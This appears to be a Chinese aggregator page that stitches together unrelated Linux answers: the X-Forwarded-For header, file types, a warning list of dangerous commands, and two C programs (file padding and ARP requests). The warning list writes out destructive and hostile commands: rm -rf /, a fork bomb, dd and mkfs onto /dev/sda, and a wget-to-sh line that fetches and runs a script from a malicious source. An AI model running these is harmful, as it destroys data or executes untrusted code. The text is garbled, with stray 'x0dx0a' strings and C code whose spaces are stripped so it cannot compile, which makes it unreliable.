导航:首页 > 编程系统 > linuxxff

linuxxff

发布时间:2023-03-07 06:46:06

❶ HTTP 请求头中的 X-Forwarded-For

X-Forwarded-For请求头格式非常简单,就这样:

可以看到,XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。

如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:

Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 remote_address 来自 TCP 连接,表示与服务端建立 TCP 连接的设备 IP,在这个例子里就是 IP3。

详细分析一下,这样的结果是经过这样的流程而形成的:

总结:

remote_address 到 xff头,如果xff头不存在,那么xff就被设置成跟$remote_address 一样了。如果本来就存在,就追加了 ip1, ip2这样的形式

问题:

linux小技巧

其实你说的没错,linux需要细心,可是你如果是去看别人的,那永远是别人注意的到问题,而不是你的。还不如自己去做,出了问题去网络或者问人。这样比问一些技巧有用多了。

❸ 如何查看linux用户主目录下的文件

使用和ls参数命令,如下详细介绍。

❹ Linux系统下有什么文件格式

Linux文件类型和Linux文件的文件名所代表的意义是两个不同的概念。x0dx0a一. 文件类型x0dx0aLinux文件类型常见的有:普通文件、目录文件、字符设备文件和块设备文件、符号链接文件等,现在我们进行一个简要的说明。x0dx0a1. 普通文件 x0dx0a用 ls -lh 来查看某个文件的属性,可以看到有类似-rwxrwxrwx,值得注意的是第一个符号是 - ,这样的文件在Linux中就x0dx0a是普通文件。这些文件一般是用一些相关的应用程序创建,比如图像工具、文档工具、归档工具... .... 或 cp工具等。这类文件的删除方式是用x0dx0arm 命令。 另外,依照文件的内容,又大略可以分为:x0dx0a1>. 纯文本档(ASCII):x0dx0a这是Linux系统中最多的一种文件类型,称为纯文本档是因为内容可以直接读到的数据,例如数字、字母等等。 用来做为x0dx0a设定的文件都属于这一种文件类型。 x0dx0a2>. 二进制文件(binary):x0dx0aLinux系统其实仅认识且可以执行二进制文件(binary file)。Linux当中的可执行文件(scripts, 文字型批处理文件不算)就是这种格式的文件。 命令cat就是一个binary file。x0dx0a3>. 数据格式文件(data): x0dx0a有些程序在运作的过程当中会读取某些特定格式的文件,那些特定格式的文件可以被称为数据文件 (data file)。举例来说,Linuxx0dx0a在使用者登录时,都会将登录的数据记录在 /var/log/wtmp那个文件内,该文件是一个data file,能够透过last这个指令读出来。 x0dx0a2. 目录文件x0dx0a在某个目录下执行,看到有类似 drwxr-xr-x ,这样的文件就是目录,目录在Linux是一个比较特殊的文件。注意它的第一个字符是x0dx0ad。创建目录的命令可以用 mkdir 命令,或cp命令,cp可以把一个目录复制为另一个目录。删除用rm 或rmdir命令。 x0dx0a3. 字符设备或块设备文件 x0dx0a进入/dev目录,列一下文件,会看到类似如下的:x0dx0aroot@localhost ~]# ls -al /dev/ttyx0dx0acrw-rw-rw- 1 root tty 5, 0 11-03 15:11 /dev/ttyx0dx0a[root@localhost ~]# ls -la /dev/sda1x0dx0abrw-r----- 1 root disk 8, 1 11-03 07:11 /dev/sda1x0dx0a可以看到/dev/tty的属性是 crw-rw-rw- ,注意前面第一个字符是 c ,这表示字符设备文件。比如猫等串口设备。我们看到 /dev/sda1 的属性是 brw-r----- ,注意前面的第一个字符是b,这表示块设备,比如硬盘,光驱等设备。x0dx0a这个种类的文件,是用mknode来创建,用rm来删除。目前在最新的Linux发行版本中,一般不用自己来创建设备文件。因为这些文件是和内核相关联的。x0dx0a与系统周边及储存等相关的一些文件, 通常都集中在/dev这个目录之下。通常又分为两种:x0dx0a区块(block)设备档 :x0dx0a就是一些储存数据, 以提供系统随机存取的接口设备,举例来说,硬盘与软盘等就。 可以随机的在硬盘的不同区块读写,这种装置就是成组设备。可以自行查一下/dev/sda看看, 会发现第一个属性为[ b ]。x0dx0a字符(character)设备文件:x0dx0a亦即是一些串行端口的接口设备, 例如键盘、鼠标等等!这些设备的特色就是一次性读取的,不能够截断输出。x0dx0a4. 数据接口文件(sockets): x0dx0a数据接口文件(或者:套接口文件),这种类型的文件通常被用在网络上的数据承接了。可以启动一个程序来监听客户端的要求, 而客户端就可以透过这个socket来进行数据的沟通了。第一个属性为 [ s ], 最常在/var/run这个目录中看到这种文件类型了。

❺ LINUX系统有哪些危险命令

这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget http://malicious_source -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda',你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空文件内容,如果用上列执行时输入错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。

❻ linux下怎样将一个文件填充为0xff,用命令

以下程序可以填充文件后面全部为0xff到指定大小.

test.c

#include <stdio.h>

/*
* Return: 0, OK
* -1, Fail
*/
unsigned long int appendFile(char *destFilePath, unsigned long int appendLength)
{
unsigned char tmpBuf[1024];
int i = 0;
FILE *fp;

for(i = 0; i < 1024; i++)
{
tmpBuf[i] = 0xFF;
}

if ((fp = fopen(destFilePath, "ab+"))==NULL)
{
printf("Can not open file %s \n", destFilePath);
return -1;
}

while(appendLength > 0)
{
if (appendLength <= 1024)
{
fwrite(tmpBuf, sizeof(char), appendLength, fp);
appendLength -= appendLength;
}
else
{
fwrite(tmpBuf, sizeof(char), 1024, fp);
appendLength -= 1024;
}
}

fclose(fp);

return 0;
}

#define SRC_FILE "./file1.bin"
#define DEST_FILE "./file2.bin"

void main(void)
{
unsigned long int totalLength = (85504 - 13824) * 1024;
unsigned long int fileLength = 57751552;
unsigned long int appendLength = totalLength - fileLength;

appendFile(DEST_FILE, appendLength);
}

❼ 获取ip地址对应的mac地址,c/c++编程实现,linux下

/**

*@send_arp.c

*@questwithLinux*PF_PACKETinterface

*@Author:xuelei

**/

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#include<errno.h>

#include<unistd.h>

#include<netdb.h>

#include<sys/socket.h>

#include<sys/un.h>

#include<sys/ioctl.h>

#include<netinet/in.h>

#include<net/if.h>

#include<sys/types.h>

#include<asm/types.h>

#include<features.h>/*需要里面的glibc版本号*/

#if__GLIBC__>=2&&__GLIBC_MINOR>=1

#include<netpacket/packet.h>

#include<net/ethernet.h>/*链路层(L2)协议*/

#else

#include<asm/types.h>

#include<linux/if_packet.h>

#include<linux/if_ether.h>/*链路层协议*/

#endif

#include<netinet/if_ether.h>


#defineINLEN4

#defineMAC_BCAST_ADDR(uint8_t*)"xffxffxffxffxffxff"


voisage_quit(char*arg0);

intget_ifi(char*dev,char*mac,intmacln,structin_addr*lc_addr,intipln);

voidprmac(u_char*ptr);


intmain(intargc,char**argv)

{

if(argc!=2)

usage_quit(argv[0]);


intfd,salen,n;

u_char*mac;

charrecv_buf[120],rep_addr[16];

structin_addrlc_addr,req_addr;

structsockaddr_llreqsa,repsa;

structarp_pkt{

structether_headereh;

structether_arpea;

u_charpadding[18];

}req;


bzero(&reqsa,sizeof(reqsa));

reqsa.sll_family=PF_PACKET;

reqsa.sll_ifindex=if_nametoindex("eth0");


if((fd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))<0){

perror("Socketerror");

exit(1);

}


mac=(char*)malloc(ETH_ALEN);

bzero(&req,sizeof(req));


if(get_ifi("eth0",mac,ETH_ALEN,&lc_addr,INLEN)){

fprintf(stderr,"Error:Gethost’sinformationfailed ");

exit(0);

}

printf("HostMACis:%02x:%02x:%02x:%02x:%02x:%02x ",*mac,*(mac+1),*(mac+2),*(mac+3),*(mac+4),*(mac+5));

printf("HostIPis:%s ",inet_ntop(AF_INET,&lc_addr,rep_addr,1024));

/*填写以太网头部*/

memcpy(req.eh.ether_dhost,MAC_BCAST_ADDR,ETH_ALEN);

memcpy(req.eh.ether_shost,mac,ETH_ALEN);

req.eh.ether_type=htons(ETHERTYPE_ARP);


/*填写arp数据*/

req.ea.arp_hrd=htons(ARPHRD_ETHER);

req.ea.arp_pro=htons(ETHERTYPE_IP);

req.ea.arp_hln=ETH_ALEN;

req.ea.arp_pln=INLEN;

req.ea.arp_op=htons(ARPOP_REQUEST);

memcpy(req.ea.arp_sha,mac,ETH_ALEN);

memcpy(req.ea.arp_spa,&lc_addr,INLEN);

inet_aton(argv[1],req.ea.arp_tpa);


bzero(recv_buf,sizeof(recv_buf));

bzero(&repsa,sizeof(repsa));

salen=sizeof(structsockaddr_ll);


if((n=sendto(fd,&req,sizeof(req),0,(structsockaddr*)&reqsa,sizeof(reqsa)))<=0){

perror("Sendtoerror");

exit(1);

}

printf("Broadcastarprequestof%s,%dbytesbesent ",argv[1],n);
while(1){

if((n=recvfrom(fd,recv_buf,sizeof(req),0,(structsockaddr*)&repsa,&salen))<=0){

perror("Recvfromerror");

exit(1);

}

if(ntohs(*(__be16*)(recv_buf+20))==2&&!memcmp(req.ea.arp_tpa,recv_buf+28,4)){

printf("Responsefrom%s,%dbytesreceived ",argv[1],n);

printf("PeerIPis:%s ",inet_ntop(AF_INET,(structin_addr*)(recv_buf+28),rep_addr,1024));

prmac((u_char*)(recv_buf+22));//prmac((u_char*)(recv_buf+6));

break;

}

else

{

printf("Haverecivedata ");

break;

}

}


free(mac);

}


intget_ifi(char*dev,char*mac,intmacln,structin_addr*lc_addr,intipln)

{

intreqfd,n;

structifreqmacreq;


reqfd=socket(AF_INET,SOCK_DGRAM,0);

strcpy(macreq.ifr_name,dev);


/*获取本地接口MAC地址*/

if(ioctl(reqfd,SIOCGIFHWADDR,&macreq)!=0)

return1;

memcpy(mac,macreq.ifr_hwaddr.sa_data,macln);


/*获取本地接口IP地址*/

if(ioctl(reqfd,SIOCGIFADDR,&macreq)!=0)

return1;

memcpy(lc_addr,&((structsockaddr_in*)(&macreq.ifr_addr))->sin_addr,ipln);


return0;

}


voidprmac(u_char*ptr)

{

printf("PeerMACis:%02x:%02x:%02x:%02x:%02x:%02x ",*ptr,*(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4),*(ptr+5));

}


voisage_quit(char*arg0)

{

fprintf(stderr,"Usage:%s<query_IP> ",arg0);

exit(1);

}

阅读全文

与linuxxff相关的资料

热点内容
专题学习网站源码 浏览:163
jsphead什么 浏览:88
gps串口数据怎么发送 浏览:968
win10文件主页共享查看 浏览:411
中国联通有哪些app是免流的 浏览:176
边做边保存的文件找不到了 浏览:858
win10照片应用文件夹名称 浏览:966
编程如何解决资金的原子性 浏览:638
如何制作广角镜头矫正文件 浏览:513
在网页开发中应该选用哪个数据库 浏览:742
iphone5移动卡贴 浏览:990
电脑文件的格式 浏览:127
extjs的xtype 浏览:959
suse11iso文件要u盘安装 浏览:153
如何将报表统计数据转化为图形 浏览:444
如何寄快递材料文件 浏览:265
java构造方法private 浏览:475
手机文件找回恢复 浏览:516
word怎么把u盘里的文件拔掉 浏览:976
港版苹果用的插排 浏览:1000

友情链接